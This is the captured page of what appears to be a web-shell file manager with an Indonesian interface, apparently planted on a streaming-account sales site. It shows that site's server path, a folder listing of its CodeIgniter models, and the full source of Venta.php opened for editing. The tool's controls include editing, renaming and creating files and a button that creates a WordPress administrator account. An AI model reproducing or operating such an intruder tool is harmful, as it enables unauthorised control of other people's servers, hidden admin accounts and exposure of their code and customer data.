📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/models
⬅️ Kembali ke folder sebelumnya
📄
Cliente.php
📄
Configuracion.php
📄
Panel.php
📄
Perfil.php
📄
Producto.php
📄
Servicio.php
📄
Usuario.php
📄
Venta.php
📄
index.html
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
Cliente.php
Configuracion.php
Panel.php
Perfil.php
Producto.php
Servicio.php
Usuario.php
Venta.php
index.html
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: Venta.php
<?php class Venta extends CI_Model { public function obtenerTodos() { $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->order_by('fecha_fin_ven', 'ASC'); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function insertar($datosVenta) { return $this->db->insert('ventas', $datosVenta); } public function obtenerPorId($id) { $this->db->join('perfiles', 'perfiles.id_per=ventas.fk_id_per', 'left'); $this->db->join('servicios', 'servicios.id_ser=ventas.fk_id_ser', 'left'); $this->db->join('clientes', 'clientes.id_cli=ventas.fk_id_cli', 'left'); $this->db->join('productos', 'productos.id_pro=ventas.fk_id_pro', 'left'); $this->db->where("id_ven", $id); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } public function obtenerVentasPorIdCliente($id) { $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->where("fk_id_cli", $id); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } public function obtenerTodosPorClientes($id_cli) { $this->db->where("id_cli", $id_cli); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->order_by('fecha_fin_ven', 'ASC'); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerPorIdJSON($id) { $this->db->where("id_ven", $id); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $query = $this->db->get('ventas'); $result = $query->result_array(); if ($query->num_rows() > 0) { return $result; } else { return false; } } public function eliminar($id) { $this->db->where("id_ven", $id); return $this->db->delete("ventas"); } public function actualizar($id, $datosEditados) { $this->db->where("id_ven", $id); return $this->db->update("ventas", $datosEditados); } public function ventasPorFechas() { $this->db->select('fecha_inicio_ven'); $this->db->from('ventas'); $this->db->where('usuario_creacion_ven', $this->session->userdata('C0n3ct4d0_Usr')->id_usu); $query = $this->db->get(); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerPerfilPorVenta($id_ven) { $this->db->join('perfiles', 'id_per=fk_id_per'); $this->db->where("id_ven", $id_ven); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } var $table = 'ventas'; var $column_order = array('id_ven', 'fecha_inicio_ven', 'fecha_fin_ven', 'precio_ven', 'tipoventa_ven', 'fk_id_cli', 'fk_id_ser', 'fk_id_pro', 'fk_id_per'); var $order = array('id_ven', 'fecha_inicio_ven', 'fecha_fin_ven', 'precio_ven', 'tipoventa_ven', 'fk_id_cli', 'fk_id_ser', 'fk_id_pro', 'fk_id_per'); //DATATABLES QUEYS TODOS private function _get_data_query() { if ($this->session->userdata('C0n3ct4d0_Usr')) { if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") { $this->db->from($this->table); $this->db->select('ventas.*, servicios.*, servicios.*, productos.*, perfiles.*, clientes.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->from($this->table); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per'); $this->db->where("ventas.usuario_creacion_ven", $this->session->userdata("C0n3ct4d0_Usr")->id_usu); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosJson() { $this->_get_data_query(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data() { $this->_get_data_query(); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data() { $this->db->from($this->table); return $this->db->count_all_results(); } //DATATABLES QUEYS POR CLIENTES private function _get_data_query_por_clientes($id_cli) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('fk_id_cli', $id_cli); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorClienteJson($id_cli) { $this->_get_data_query_por_clientes($id_cli); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_cliente($id_cli) { $this->_get_data_query_por_clientes($id_cli); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_cliente($id_cli) { $this->db->from($this->table); $this->db->where('fk_id_cli', $id_cli); return $this->db->count_all_results(); } //DATATABLES QUEYS POR USUARIO private function _get_data_query_por_usuario($id_usu) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('usuario_creacion_ven', $id_usu); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorUsuarioJson($id_usu) { $this->_get_data_query_por_usuario($id_usu); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_usuario($id_usu) { $this->_get_data_query_por_usuario($id_usu); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_usuario($id_usu) { $this->db->from($this->table); $this->db->where('usuario_creacion_ven', $id_usu); return $this->db->count_all_results(); } //DATATABLES QUEYS POR USUARIO private function _get_data_query_por_estado($estado) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('estado_ven', $estado); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorEstadoJson($estado) { $this->_get_data_query_por_estado($estado); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_estado($estado) { $this->_get_data_query_por_estado($estado); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_estado($estado) { $this->db->from($this->table); $this->db->where('estado_ven', $estado); return $this->db->count_all_results(); } //DATATABLES QUEYS POR VIGENTE private function _get_data_query_por_vigente() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('fecha_fin_ven >', $fecha_actual); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorVigenteJson() { $this->_get_data_query_por_vigente(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_vigente() { $this->_get_data_query_por_vigente(); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_vigente() { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->where('fecha_fin_ven >', $fecha_actual); return $this->db->count_all_results(); } //DATATABLES QUEYS POR VENCIDO private function _get_data_query_por_vencido() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('fecha_fin_ven <=', $fecha_actual); $this->db->where('estado_ven IS NULL OR estado_ven = ""'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorVencidoJson() { $this->_get_data_query_por_vencido(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_vencido() { $this->_get_data_query_por_vencido(); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_vencido() { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->where('fecha_fin_ven <=', $fecha_actual); $this->db->where('estado_ven IS NULL OR estado_ven = ""'); return $this->db->count_all_results(); } //DATATABLES QUEYS POR CLIENTES private function _get_data_query_por_clientes_vencido($id_cli) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('fk_id_cli', $id_cli); $this->db->where('fecha_fin_ven <=', $fecha_actual); $this->db->where('estado_ven IS NULL OR estado_ven = ""'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorClienteVencidoJson($id_cli) { $this->_get_data_query_por_clientes_vencido($id_cli); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_cliente_vencido($id_cli) { $this->_get_data_query_por_clientes_vencido($id_cli); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_cliente_vencido($id_cli) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->where('fk_id_cli', $id_cli); $this->db->where('fecha_fin_ven <=', $fecha_actual); $this->db->where('estado_ven IS NULL OR estado_ven = ""'); return $this->db->count_all_results(); } //DATATABLES QUEYS POR CLIENTES private function _get_data_query_por_clientes_vigente($id_cli) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('fk_id_cli', $id_cli); $this->db->where('fecha_fin_ven >', $fecha_actual); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorClienteVigenteJson($id_cli) { $this->_get_data_query_por_clientes_vigente($id_cli); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_cliente_vigente($id_cli) { $this->_get_data_query_por_clientes_vigente($id_cli); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_cliente_vigente($id_cli) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->where('fk_id_cli', $id_cli); $this->db->where('fecha_fin_ven >', $fecha_actual); return $this->db->count_all_results(); } //DATATABLES QUEYS POR CLIENTES ESTADO private function _get_data_query_por_clientes_estado($estado, $id_cli) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('fk_id_cli', $id_cli); $this->db->where('estado_ven', $estado); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorClienteEstadoJson($estado, $id_cli) { $this->_get_data_query_por_clientes_estado($estado, $id_cli); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_por_cliente_estado($estado, $id_cli) { $this->_get_data_query_por_clientes_estado($estado, $id_cli); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data_por_cliente_estado($estado, $id_cli) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->where('fk_id_cli', $id_cli); $this->db->where('estado_ven', $estado); return $this->db->count_all_results(); } //SUMA DE LA VENTA POR USUARIO public function sumaTotalDeVentaPorUsuario($id_usu) { $this->db->select_sum('total_renovaciones_ven'); $this->db->where('usuario_creacion_ven', $id_usu); $query = $this->db->get('ventas'); $result = $query->result_array(); if ($query->num_rows() > 0) { return $result; } else { return false; } } public function consultarPrecioVenta($id_ven) { $this->db->select('ventas.total_renovaciones_ven'); $this->db->where('id_ven', $id_ven); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } //VENTAS POR_VENCER LER public function obtenerTodosPorVencerJson() { $this->_get_data_query_por_vencer(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_por_vencer() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); //sumo 2 días $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->from($this->table); $this->db->select('ventas.*, clientes.*, servicios.*, productos.*, perfiles.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->join('perfiles', 'id_per=fk_id_per', 'left'); $this->db->where('fecha_fin_ven >', $fecha_actual); $this->db->where('fecha_fin_ven <=', $fecha_fut); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_cli', $_POST['search']['value']); $this->db->or_like('apellido_cli', $_POST['search']['value']); $this->db->or_like('CONCAT(nombre_cli, " ", apellido_cli)', $_POST['search']['value']); $this->db->or_like('telefono_cli', $_POST['search']['value']); $this->db->or_like('nombre_ser', $_POST['search']['value']); $this->db->or_like('correo_pro', $_POST['search']['value']); $this->db->or_like('nombre_per', $_POST['search']['value']); $this->db->or_like('fecha_inicio_ven', $_POST['search']['value']); $this->db->or_like('fecha_fin_ven', $_POST['search']['value']); $this->db->or_like('precio_ven', $_POST['search']['value']); $this->db->or_like('tipoventa_ven', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_cli', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } //VENTAS POR_VENCER LER public function ventasTotales(){ $this->db->from('ventas'); return $this->db->count_all_results(); } public function ventasTotalesVigentes(){ $fecha_actual = date('Y-m-d'); $this->db->where('fecha_fin_ven >', $fecha_actual); $this->db->from('ventas'); return $this->db->count_all_results(); } public function ventasTotalesPorVencer(){ $fecha_actual = date('Y-m-d'); //sumo 2 días $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->where('fecha_fin_ven >', $fecha_actual); $this->db->where('fecha_fin_ven <=', $fecha_fut); $this->db->from('ventas'); return $this->db->count_all_results(); } public function ventasTotalesVencidas(){ $fecha_actual = date('Y-m-d'); $this->db->where('fecha_fin_ven <=', $fecha_actual); $this->db->where('estado_ven IS NULL OR estado_ven = ""'); $this->db->from('ventas'); return $this->db->count_all_results(); } public function ventasBestClientes(){ $this->db->select('COUNT(ventas.id_ven) as total_compras, SUM(ventas.precio_ven) as total_precio, clientes.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); if($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "VENDEDOR"){ $client_id = $this->session->userdata('C0n3ct4d0_Usr')->id_cli; $this->db->where('ventas.usuario_creacion_ven', $client_id); } $this->db->group_by('ventas.fk_id_cli'); $this->db->order_by('total_compras','desc'); $this->db->order_by('total_precio', 'desc'); $this->db->limit(5); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query; } else { return $query; } } public function ventasCliente($id_cli){ $this->db->select('COUNT(ventas.id_ven) as total_compras, SUM(ventas.precio_ven) as total_precio, clientes.*'); $this->db->join('clientes', 'id_cli=fk_id_cli'); $this->db->where('fk_id_cli', $id_cli); $this->db->group_by('ventas.fk_id_cli'); $this->db->order_by('total_compras','desc'); $this->db->order_by('total_precio', 'desc'); $this->db->limit(1); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query; } else { return $query; } } public function ventasBestVendedores(){ $this->db->select('COUNT(ventas.id_ven) as total_compras, SUM(ventas.precio_ven) as total_precio, usuarios.*'); $this->db->join('usuarios', 'id_usu=usuario_creacion_ven'); $this->db->group_by('ventas.usuario_creacion_ven'); $this->db->order_by('total_compras','desc'); $this->db->order_by('total_precio', 'desc'); $this->db->limit(5); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query; } else { return $query; } } }
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup